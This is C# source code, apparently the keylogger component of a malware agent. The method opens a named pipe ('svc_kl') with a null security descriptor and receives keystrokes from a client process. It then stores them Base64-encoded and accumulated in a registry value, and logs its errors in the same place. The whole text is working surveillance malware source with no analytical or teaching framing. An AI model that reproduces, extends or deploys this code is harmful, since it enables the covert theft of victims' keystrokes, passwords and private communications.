private void ReceiveKeyStrokes()
{
string enc = "";
try
{
//Used PInvoke here instead of the IO.Pipes class because that class does not have a PeekNamedPipe method
IntPtr sa = WinApi.CreateNullDescriptorPtr();
hPipe = WinApi.CreateNamedPipe(@"\\.\pipe\svc_kl",
WinApi.PIPE_ACCESS_INBOUND,
(WinApi.PIPE_READMODE_BYTE | WinApi.PIPE_WAIT),
1,
0,
1024,
10000,
sa);
#if DEBUG
Console.WriteLine("Waiting for client to connect");
#endif
//Blocking call to wait for a client to connect
WinApi.ConnectNamedPipe(hPipe, IntPtr.Zero);
}
catch (Exception e)
{
#if DEBUG
Console.WriteLine(e.ToString());
#endif
string msg = Convert.ToBase64String(Encoding.ASCII.GetBytes(e.ToString()));
Agent.rrbase.SetValue(Agent.modkey, msg);
}
#if DEBUG
Console.WriteLine("Received connection from client");
Console.WriteLine("Starting loop");
#endif
while (Agent.keylogRun)
{
Thread.Sleep(1000);
//Check to make sure the pipe is connected
if (WinApi.ConnectNamedPipe(hPipe, IntPtr.Zero) == false && (uint)Marshal.GetLastWin32Error() != WinApi.ERROR_PIPE_CONNECTED)
{
break;
}
//Variables for PeekNamedPipe and ReadFile
byte[] readBuff = new byte[1024];
uint bytesRead = 0;
uint bytesAvail = 0;
uint bytesLeft = 0;
uint read = 0;
string oldVal = "";
try
{
//Check if there is data to read in the pipe
if (!WinApi.PeekNamedPipe(hPipe, null, 0, ref bytesRead, ref bytesAvail, ref bytesLeft) && bytesAvail == 0)
{
continue;
}
//If we can't read for some reason, continue
if (!WinApi.ReadFile(hPipe, readBuff, (uint)readBuff.Length, ref read, IntPtr.Zero))
{
continue;
}
string ks = Encoding.UTF8.GetString(readBuff);
ks = ks.TrimEnd(new char[] { '\0' });
#if DEBUG
Console.Write(ks);
#endif
//Append the newly recorded keystrokes to the old value that was stored in the registry
oldVal = Encoding.ASCII.GetString(Convert.FromBase64String((string)Agent.rrbase.GetValue(Agent.kkey)));
oldVal = oldVal + ks;
enc = Convert.ToBase64String(Encoding.UTF8.GetBytes(oldVal));
}
catch (Exception e)
{
enc = Convert.ToBase64String(Encoding.ASCII.GetBytes(e.ToString()));
#if DEBUG
Console.WriteLine("Error: \n" + e.ToString());
#endif
}
Agent.rrbase.SetValue(Agent.kkey, enc);
}
#if DEBUG
Console.WriteLine("Client disconnected");
#endif
if (!WinApi.DisconnectNamedPipe(hPipe))
{
Agent.rrbase.SetValue(Agent.modkey, Convert.ToBase64String(Encoding.ASCII.GetBytes("Unable to disconnect named pipe server")));
}
WinApi.CloseHandle(hPipe);
}